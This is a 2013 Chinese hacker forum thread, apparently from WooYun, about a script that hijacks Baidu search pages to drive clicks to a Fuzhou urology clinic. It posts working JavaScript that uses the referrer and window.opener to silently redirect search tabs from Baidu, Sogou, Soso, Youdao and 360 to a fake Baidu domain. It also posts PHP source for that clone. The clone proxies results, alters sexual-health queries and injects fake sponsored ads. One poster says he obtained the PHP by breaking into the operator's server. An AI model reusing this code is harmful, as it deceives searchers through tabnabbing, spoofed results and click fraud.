百度搜索页面劫持脚本，百度搜索来路页面跳转劫持，骗点击

这种牛逼的劫持百度页面的脚本谁有~

苦战 | 2013-05-11 17:28

百度框中输入直接输入www.dfnz.com.cn 点击进去，再看看你的搜索页面

http://www.baidu.com/s?wd=www.dfnz.com.cn

知道是http://www.baidu.com.0088.wzzaoxie.com/ee.js 这个js控制的

但谁有http://www.baidu.com.001.hzwladh.com/ 这个小偷站的源码~

1#

VIP (Fatal error: Call to undefined function getwb() in /data1/www/htdocs/106/wooyun/1/zone/index.php on line 10) | 2013-05-11 17:33

有变化吗？

2#

苦战 | 2013-05-11 17:36

@VIP 好好观察下 好像代码上有个地区判断 可能有的地方看不到 我是chrome浏览器

3#

z7y (我是z7y，我为小胖子代言！！) | 2013-05-11 17:48

@苦战 木有变化啊,亲！

4#

苦战 | 2013-05-11 17:55

@z7y 来远程~

5#

docall (陈公子是也。。。) | 2013-05-11 18:17

这货太牛逼了，不注意真不会发现地址栏的链接被他修改了。日他搞源码。

6#

Cr4zy | 2013-05-11 18:24

进去后让你父窗口跳转了 是这样的吗

7#

piaoye (123) | 2013-05-11 18:25

把来路url跳转了。。牛逼

8#

zsx (?? ?捣乱不犯法) | 2013-05-11 18:33

没有地址判断

相关代码

var a = document.referrer;
a = a.toLowerCase();
if (a.indexOf("www.baidu.com/") != -1) {
    var b = a.replace(/www\.baidu\.com\/.*\?/, 'www.baidu.com.0088.wzzaoxie.com/?');
    if (navigator.appName.indexOf("Microsoft") != -1) {
        window.open(b)
    } else {
        if (b != null && b != "") {
            window.opener.location.href = b
        }
    }
} else if (a.indexOf("www.sogou.com/") != -1) {
    var b = a.replace(/www\.sogou\.com\/.*\?/, 'www.baidu.com.0088.wzzaoxie.com/?');
    if (navigator.appName.indexOf("Microsoft") != -1) {
        window.open(b)
    } else {
        if (b != null && b != "") window.opener.location.href = b
    }
} else if (a.indexOf("www.soso.com/") != -1) {
    var b = a.replace(/www\.soso\.com\/.*\?/, 'www.baidu.com.0088.wzzaoxie.com/?');
    if (navigator.appName.indexOf("Microsoft") != -1) {
        window.open(b)
    } else {
        if (b != null && b != "") window.opener.location.href = b
    }
} else if (a.indexOf("www.youdao.com/") != -1) {
    var b = a.replace(/www\.youdao\.com\/.*\?/, 'www.baidu.com.0088.wzzaoxie.com/?');
    if (navigator.appName.indexOf("Microsoft") != -1) {
        window.open(b)
    } else {
        if (b != null && b != "") window.opener.location.href = b
    }
} else if (a.indexOf("www.so.com/") != -1) {
    var b = a.replace(/www\.so\.com\/.*\?/, 'www.baidu.com.0088.wzzaoxie.com/?');
    if (navigator.appName.indexOf("Microsoft") != -1) {
        window.open(b)
    } else {
        if (b != null && b != "") window.opener.location.href = b
    }
} else if (a.indexOf("so.360.cn/") != -1) {
    var b = a.replace(/so\.360\.cn\/.*\?/, 'www.baidu.com.0088.wzzaoxie.com/?');
    if (navigator.appName.indexOf("Microsoft") != -1) {
        window.open(b)
    } else {
        if (b != null && b != "") window.opener.location.href = b
    }
}

9#

z7y (我是z7y，我为小胖子代言！！) | 2013-05-11 18:40

牛逼,看懂了,可是我不知道他这样有什么用？

10#

无敌L.t.H (:?门安天京北爱我) | 2013-05-11 18:42

坐等淘宝版

11#

蓝风 (?#知我者謂我心憂 不知我者謂我何求#) | 2013-05-11 19:34

跪下

12#

Reserved | 2013-05-11 21:04

求黑帽::>_<::科普

13#

叽叽歪歪 (？) | 2013-05-11 21:48

涨姿势了

14#

黑匣子 (逼大了，什么都能装下！?() | 2013-05-11 21:50

牛b，

15#

大师哥 | 2013-05-11 21:55

这漏洞我发过不是。。WooYun: 360浏览器的一个安全漏洞

16#

黑匣子 (逼大了，什么都能装下！?() | 2013-05-11 22:01

这个不是小偷程序吧，http://www.soso.com/q?pid=s.idx&cid=s.idx.se&w=www.dfnz.com.cn  照样跳转百度，如果谁把源码再改动成判断相应搜索引擎，并跳转到相应的搜索引擎，就完美了

17#

黑匣子 (逼大了，什么都能装下！?() | 2013-05-11 22:02

这个不是小偷程序吧，http://www.soso.com/q?pid=s.idx&cid=s.idx.se&w=www.dfnz.com.cn  照样跳转百度假地址，如果谁把源码再改动成判断相应搜索引擎，并跳转到相应的搜索引擎(假地址)，就完美了

18#

discovery | 2013-05-11 22:32

很吊。

19#

鬼哥 | 2013-05-11 23:50

以前很早就玩过了，，以前baidu没限制 现在有点限制了，IE下不会跳，， 别的浏览器估计会 测试 firefox还会

20#

鬼哥 | 2013-05-12 00:31

@苦战 刚去看了下 已拖下来了。。其实代码很简单。。

21#

苦战 | 2013-05-12 00:45

@鬼哥 @zsx js代码没用 要他的那个百度小偷这样就无声无息~

22#

鬼哥 | 2013-05-12 00:47

@苦战 我就是说那个php拖下来了。把它入侵拖下来了呀。。

23#

苦战 | 2013-05-12 00:49

@鬼哥 来发来 zzrt#vip.qq.com

24#

苦战 | 2013-05-12 00:49

@鬼哥 不是.net 么？

25#

鬼哥 | 2013-05-12 01:06

@苦战 贴上来给大家吧！！

<?php
error_reporting(E_ALL ^ E_NOTICE);
$add_keyword = ' 福州泌尿专科医院';
$add_condition = '男|精|早|阳|包皮|茎|前列|炎|障碍|淋|感染|龟头|空军|武警|东方|红点|疙瘩|性|梅毒|湿|疹|医院|门诊';
$add_html = '<style type="text/css">*.cell-clear{height:0;line-height:0;font-size:0;clear:both}*.cell-refer{width:0;line-height:0;font-size:0;float:left}*#m319243_wr0 *.canvas{color:#000;font-family:arial}*#m319243_wr0 th,td{font-family:arial}*#m319243_wr0 p,form,ol,ul,li,dl,dt,dd,h3{list-style:none;margin:0;padding:0}*#m319243_wr0 input{padding-top:0;padding-bottom:0;-moz-box-sizing:border-box;-webkit-box-sizing:border-box;box-sizing:border-box}*#m319243_wr0 table,img{border:0}*#m319243_wr0 td{font-size:9pt;line-height:18px}*#m319243_wr0 em{font-style:normal;color:#c00}*#m319243_wr0 cite{font-style:normal;color:green}*#m319243_wr0 *.pl_l_ctner{word-wrap:break-word;overflow:hidden;zoom:1}*#m319243_wr0 *.pl_l_title{height:26px;line-height:23px;font-size:16px;text-decoration:underline}*#m319243_wr0 *.pl_l_title em{color:#c00;font-style:normal;text-decoration:underline}*#m319243_wr0 *.pl_l_logo_ctner{width:90px;height:99px;margin-right:2px;padding:2px 2px 0;float:left}*#m319243_wr0 *.pl_l_logo_ctner a{text-decoration:none}*#m319243_wr0 *.pl_l_logo_ctner img{border:0}*#m319243_wr0 *.pl_l_rb_ctner{margin-left:100px}*#m319243_wr0 *.pl_l_description,*.pl_l_official{line-height:19px;font-size:13px}*#m319243_wr0 *.pl_l_official span{color:#008000;font-size:13px}*#m319243_wr0 *.pl_l_official a{color:#666}*#m319243_wr1 *.canvas{color:#000;font-family:arial}*#m319243_wr1 th,td{font-family:arial}*#m319243_wr1 p,form,ol,ul,li,dl,dt,dd,h3{list-style:none;margin:0;padding:0}*#m319243_wr1 input{padding-top:0;padding-bottom:0;-moz-box-sizing:border-box;-webkit-box-sizing:border-box;box-sizing:border-box}*#m319243_wr1 table,img{border:0}*#m319243_wr1 td{font-size:9pt;line-height:18px}*#m319243_wr1 em{font-style:normal;color:#c00}*#m319243_wr1 cite{font-style:normal;color:green}*#m319243_wr1 *.pl_columns_block{margin:0;padding:0;overflow:hidden;zoom:1}*#m319243_wr1 *.pl_column_item{font-size:13px;line-height:18px;overflow:hidden;zoom:1;padding:0;margin-top:5px}*#m319243_wr1 *.pl_zbg{float:left;height:15px;margin:1px 4px 0 8px;width:8px}*#m319243_wr1 *.pl_z1{background:#090}*#m319243_wr1 *.pl_z2{background:#d80901}*#m319243_wr1 *.pl_z3{background:#f46600}*#m319243_wr1 *.pl_z4{background:#653599}*#m319243_wr1 *.pl_col_rblock{float:left}*#m319243_wr1 *.pl_col_main{padding-bottom:2px}*#m319243_wr1 *.pl_column_item a{font-size:13px}*#m319243_wr1 *.pl_column_item a.pl_dp_black,*.column_black a.pl_dp_black:visited,a.pl_dp_black:hover{color:black;text-decoration:none}*#m319243_wr1 *.pl_column_item a.pl_dp_black:hover{color:#488048}*#m319243_wr2 *.canvas{color:#000;font-family:arial}*#m319243_wr2 th,td{font-family:arial}*#m319243_wr2 p,form,ol,ul,li,dl,dt,dd,h3{list-style:none;margin:0;padding:0}*#m319243_wr2 input{padding-top:0;padding-bottom:0;-moz-box-sizing:border-box;-webkit-box-sizing:border-box;box-sizing:border-box}*#m319243_wr2 table,img{border:0}*#m319243_wr2 td{font-size:9pt;line-height:18px}*#m319243_wr2 em{font-style:normal;color:#c00}*#m319243_wr2 cite{font-style:normal;color:green}*#m319243_wr2 *.pl_links_ctner table{width:100%}*#m319243_wr2 *.pl_links_ctner td{border:1px solid white;padding:1px;height:22px;line-height:22px;text-align:center;background:#d3d1f8}*#m319243_wr2 *.pl_links_ctner a{font-size:13px;text-decoration:underline}</style><div style="padding:0px 0px 20px 0px;" id="m319243_ec_ma_ctner">
  <div style="width:540px;padding:0px 0px 0px 0px;">
    <div style="width:540px;zoom:1;overflow:hidden;">
      <div style="width:540px;float:left;padding:0px 0px 0px 0px;">
        <div id="m319243_wr0">
          <div class="canvas" id="m319243_wr0_canvas">
            <div class="pl_l_ctner">
              <div class="pl_l_title">
                <a fm="pl" p1="1" title1="" linkid="4879253" is_mainurl="true" target="_blank" href="http://www.fzmn120.cn/?baidusmall">福州泌尿专科医院[官方网站]&mdash;&mdash;福州首家专业男科医院</a>
              </div>
              <div class="pl_l_logo_ctner">
                <a title1="" p2="1" fm="pl" p1="1" target="_blank" href="http://www.fzmn120.cn/?baidusmall"><img width="90" height="90" src="http://www.baidu.com.0066.wzzaoxie.com/logo.jpg"></a>
              </div>
              <div class="pl_l_rb_ctner">
                <div class="pl_l_description">福州泌尿专科医院多年来被福州市民誉为福州最好的男科医院，医院专业治疗早泄阳痿,包皮过长,前列腺炎,生殖感染，男性不育等男科疾病，已经成功治愈患者数万例，医院坐落于福州湖东路155号（鼓楼站旁），男科咨询热线：0591-88180000
                </div>

                <div class="pl_l_official"><span>www.fzmn120.cn&nbsp;2013-5</span>&nbsp;-&nbsp;<a mu="" title1="" p2="7" url="" fm="pl" p1="1" href="http://www.fzmn120.cn/?baidusmall" target="_blank">品牌推广</a>
                </div>
              </div>
            </div>
          </div>
        </div>
      </div>
    </div>

    <div style="width:540px;zoom:1;overflow:hidden;">
      <div style="width:540px;float:left;padding:0px 0px 0px 0px;">
        <div id="m319243_wr1">
          <div class="canvas" id="m319243_wr1_canvas">
            <div class="pl_columns_block">
              <div class="pl_column_item">
                <div class="pl_zbg pl_z1"></div>
                <div class="pl_col_rblock">
                  <div class="pl_col_main">
                    <a mu="" title1="" p2="8" url="" fm="pl" p1="1" linkid="4879260" ourl="" target="_blank" href="http://com.zoosnet.net/LR/Chatpre.aspx?id=COM93814468&p=www.baidusmall.com">性功能障碍：早泄、阳痿、勃起障碍、射精异常、性欲异常</a>
                  </div>
                  <a mu="" title1="" p2="9" url="" fm="pl" p1="1" linkid="4879261" class="pl_dp_black" href="http://com.zoosnet.net/LR/Chatpre.aspx?id=COM93814468&p=www.baidusmall.com">告别早泄  选择国际最新技术“可逆性”  提高4-8倍（<font color="#009900">▲</font>点击了解）</a>
                </div>
              </div>

              <div class="pl_column_item">
                <div class="pl_zbg pl_z2"></div>
                <div class="pl_col_rblock">
                  <div class="pl_col_main">
                    <a mu="" title1="" p2="10" url="" fm="pl" p1="1" linkid="4879262" ourl="" target="_blank" href="http://com.zoosnet.net/LR/Chatpre.aspx?id=COM93814468&p=www.baidusmall.com">生殖整形：包皮过长、包茎、阴茎延长、阴茎增粗</a>
                  </div>
                  <a mu="" title1="" p2="11" url="" fm="pl" p1="1" linkid="4879263" ourl="" target="_blank" class="pl_dp_black" href="http://com.zoosnet.net/LR/Chatpre.aspx?id=COM93814468&p=www.baidusmall.com">包皮超市-多种先进技术任你选   适合各年龄段  无痛美观（<font color="#D80901">▲</font>点击了解）</a>
                </div>
              </div>

              <div class="pl_column_item">
                <div class="pl_zbg pl_z3"></div>
                <div class="pl_col_rblock">
                  <div class="pl_col_main">
                  <a mu="" url="" fm="pl" p1="1" linkid="4879264" target="_blank" href="http://com.zoosnet.net/LR/Chatpre.aspx?id=COM93814468&p=www.baidusmall.com">前列腺疾病：慢性前列腺炎、急性前列腺炎、前列腺增生</a>
                  </div>
                  <a mu="" title1="" p2="13" url="" fm="pl" p1="1" linkid="4879265" ourl="" target="_blank" class="pl_dp_black" href="http://com.zoosnet.net/LR/Chatpre.aspx?id=COM93814468&p=www.baidusmall.com">远离前列腺炎困扰  选择“智源肽” 无痛  效果好（<font color="#F46600">▲</font>点击了解）</a>
                </div>
              </div>

              <div class="pl_column_item">
                <div class="pl_zbg pl_z4"></div>
                <div class="pl_col_rblock">
                  <div class="pl_col_main"><a mu="" title1="" p2="14" url="" fm="pl" p1="1" linkid="4879266" ourl="" target="_blank" href="http://com.zoosnet.net/LR/Chatpre.aspx?id=COM93814468&p=www.baidusmall.com">性传播疾病：龟头炎、尿道炎、附睾炎、淋病、梅毒、尖锐湿疣、疱疹、阴虱</a>
                  </div><a url="" fm="pl" p1="1" linkid="4879267" ourl="" target="_blank" class="pl_dp_black" href="http://com.zoosnet.net/LR/Chatpre.aspx?id=COM93814468&p=www.baidusmall.com">七大技术 彻底告别性传播疾病  杜绝复发（<font color="#653599">▲</font>点击了解）</a>
                </div>
              </div>
            </div>
          </div>
        </div>
      </div>
    </div>
    <div style="width:540px;zoom:1;overflow:hidden;">
      <div style="width:520px;float:left;padding:14px 20px 0px 0px;">
        <div id="m319243_wr2">
          <div class="canvas" id="m319243_wr2_canvas">
            <div class="pl_links_ctner">
              <table cellspacing="0" cellpadding="0" border="0">
                <tbody align="left">
                  <tr>
                    <td style="width:20%">
                      <a mu="" title1="" p2="17" url="" fm="pl" p1="1" linkid="4879269" ourl="" target="_blank" href="http://www.fzmn120.cn/zt/bsjzds/?baidusmall">早泄</a>
                    </td>
                    <td style="width:20%">
                      <a mu="" title1="" p2="18" fm="pl" p1="1" linkid="4879270" ourl="" target="_blank" href="http://www.fzmn120.cn/zt/ed/?baidusmall">阳痿</a>
                    </td>
                    <td style="width:20%">
                      <a mu="" title1="" p2="19" fm="pl" p1="1" linkid="4879271" target="_blank" href="http://www.fzmn120.cn/zt/qlxzyt/?baidusmall">前列腺炎</a>
                    </td>
                    <td style="width:20%">
                      <a title1="" p2="20" fm="pl" p1="1" linkid="4879272" target="_blank" href="http://www.fzmn120.cn/zt/bphqs/?baidusmall">包皮过长</a>
                    </td>

                    <td style="width:20%">
                      <a title1="" p2="20" fm="pl" p1="1" linkid="4879272" target="_blank" href="http://www.fzmn120.cn/zt/xcb/?baidusmall">龟头感染</a>
                    </td>
                  </tr>
                </tbody>
              </table>
            </div>
          </div>
        </div>
      </div>
    </div>
  </div>
  <div style="margin-top:10px;"><a href="http://com.zoosnet.net/LR/Chatpre.aspx?id=COM93814468&p=www.baidusmall.com" target="_blank"><img border="0" src="http://www.baidu.com.0066.wzzaoxie.com/map.jpg" /></a></div>
</div>';

$add_right = '<a href="http://com.zoosnet.net/LR/Chatpre.aspx?id=COM93814468&p=www.baidusmall.com" target="_blank"> <img border="0" src="http://www.baidu.com.0066.wzzaoxie.com/mn.gif"><br/></a><br/>';

if ($_GET['wd']) {
  $_GET['wd'] = str_replace($add_keyword, '', $_GET['wd']);

  if (preg_match("~$add_condition~", $_GET['wd'])) {
    $wd_search = urlencode($_GET['wd'].$add_keyword);
  }else{
    $wd_search = urlencode($_GET['wd']);
  }


  $wd_input = htmlspecialchars(trim($_GET['wd']));

  $html = file_get_contents("http://www.baidu.com/baidu?pn=$_GET[pn]&wd=$wd_search");

  $a = array('action="/s"', 'class="s_ipt"', '<a href="/s?wd=');
  $b = array('action="?"', "class=\"s_ipt\" value=\"$wd_input\"", '<a href="?wd=');
  $html = str_replace($a, $b, $html);

  if (!$_GET['pn']) {
    $html = str_replace('<div id="content_left">', '<div id="content_left">'.$add_html, $html);

    $html = preg_replace(array(
      '~<style>\s*\.ec_pp_f.+?<br/>~s',
      '~<style>\s*\.EC_blank_link.+?<br/>~s',
      '~<div id="ec_im_container">.+?<div class="r ec_bdtg">~s',
      '~<div class="r ec_bdtg">~',
    ), array('','','<div class="r ec_bdtg">', $add_right.'<div class="r ec_bdtg">'), $html);

  }

}else{
  //$html = file_get_contents('http://www.baidu.com/');
  //$html = str_replace('action="/s"', 'action="?"', $html);
  $_GET['wd'] = $add_keyword;
  $wd_search = urlencode($_GET['wd']);
  $wd_input = htmlspecialchars(trim($_GET['wd']));

  $html = file_get_contents("http://www.baidu.com/baidu?pn=$_GET[pn]&wd=$wd_search");

  $a = array('action="/s"', 'class="s_ipt"', '<a href="/s?wd=');
  $b = array('action="?"', "class=\"s_ipt\" value=\"$wd_input\"", '<a href="?wd=');
  $html = str_replace($a, $b, $html);

  if (!$_GET['pn']) {
    $html = str_replace('<div id="content_left">', '<div id="content_left">'.$add_html, $html);

    $html = preg_replace(array(
      '~<style>\s*\.ec_pp_f.+?<br/>~s',
      '~<style>\s*\.EC_blank_link.+?<br/>~s',
      '~<div id="ec_im_container">.+?<div class="r ec_bdtg">~s',
      '~<div class="r ec_bdtg">~',
    ), array('','','<div class="r ec_bdtg">', $add_right.'<div class="r ec_bdtg">'), $html);

  }
}

echo $html;

26#

苦战 | 2013-05-12 01:14

@鬼哥 thk

27#

小E | 2013-05-12 14:30

坑爹啊，我们医院站点也在用这个方法，骗点击。

28#

围剿 | 2013-05-12 15:51

前两天刚打包的一套程序，我没打开lz说的站，我只看下面的评论就知道是哪一种了。哈哈：

仿baidu.rar

29#

汉时明月 (签名正在审核......) | 2013-05-12 21:41

没看明白,搜索没发现异常

30#

discovery | 2013-05-12 22:40

@汉时明月 ie 下不执行的。谷歌之类的webkit引擎才执行

31#

核攻击 (统治全球，奴役全人类！毁灭任何胆敢阻拦的有机生物！) | 2013-05-13 10:09

又是医院……

32#

漠惘 | 2013-05-13 20:46

@核攻击 这么搞百度不会K吗？？

33#

汉时明月 (签名正在审核......) | 2013-05-13 20:54

@discovery 谢谢指点,果然如此,牛X啊

source

留言评论（旧系统）：